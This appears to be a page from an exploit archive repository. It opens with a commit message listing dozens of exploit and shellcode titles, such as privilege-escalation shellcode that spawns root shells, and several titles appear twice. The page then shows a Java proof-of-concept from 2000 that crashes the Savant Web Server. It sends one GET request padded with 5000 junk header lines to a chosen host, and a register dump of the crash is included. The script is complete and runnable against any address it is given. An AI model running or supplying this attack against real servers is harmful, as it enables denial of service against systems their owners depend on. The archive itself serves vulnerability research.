880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
57 lines
No EOL
1.6 KiB
Java
57 lines
No EOL
1.6 KiB
Java
source: https://www.securityfocus.com/bid/1453/info
|
|
|
|
A buffer overflow exists in the Savant Web Server. It is possible to exploit this overflow by sending an unusually long GET request to the server.
|
|
|
|
|
|
/* The MDMA Crew's proof-of-concept code for the buffer overflow in Savant
|
|
* Written by Wizdumb <wizdumb@leet.org || www.mdma.za.net/fk>
|
|
*
|
|
* The overflow occurs when the server recieves too many headers in the GET
|
|
* request. The results of the attack look something like...
|
|
*
|
|
* SAVANT caused an invalid page fault
|
|
* in module KERNEL32.DLL at 015f:bff87eb5.
|
|
*
|
|
* Registers:
|
|
*
|
|
* EAX=c00300ec CS=015f EIP=bff87eb5 EFLGS=00010212
|
|
* EBX=0119ff90 SS=0167 ESP=0109ffc4 EBP=010a0030
|
|
* ECX=010a01e4 DS=0167 ESI=8162f198 FS=20f7
|
|
* EDX=bff76859 ES=0167 EDI=010a020c GS=0000
|
|
*
|
|
* Bytes at CS:EIP:
|
|
* 53 56 57 8b 30 83 7d 10 01 8b 4e 38 89 4d f8 75
|
|
*
|
|
* Stack dump:
|
|
*
|
|
* Enjoy!
|
|
* Andrew Lewis aka. Wizdumb [03/07/2000]
|
|
*/
|
|
|
|
import java.io.*;
|
|
import java.net.*;
|
|
|
|
class savantstack {
|
|
|
|
public static void main(String[] args) throws IOException {
|
|
|
|
if (args.length != 1) {
|
|
System.out.println("Syntax: java savantstack [hostname/ip]");
|
|
System.exit(1); }
|
|
|
|
Socket soq = null;
|
|
PrintWriter white = null;
|
|
|
|
int i = 5000; // This should do fine :-)
|
|
|
|
soq = new Socket(args[0], 80);
|
|
white = new PrintWriter(soq.getOutputStream(), true);
|
|
|
|
System.out.print("Showing " + args[0] + " the phj33r :P ...");
|
|
white.print("GET /index.html HTTP/1.0");
|
|
for (int x = 0; x < i; x++) white.println("A:A");
|
|
white.println("\n");
|
|
System.out.println("Done!");
|
|
|
|
white.close();
|
|
soq.close(); } } |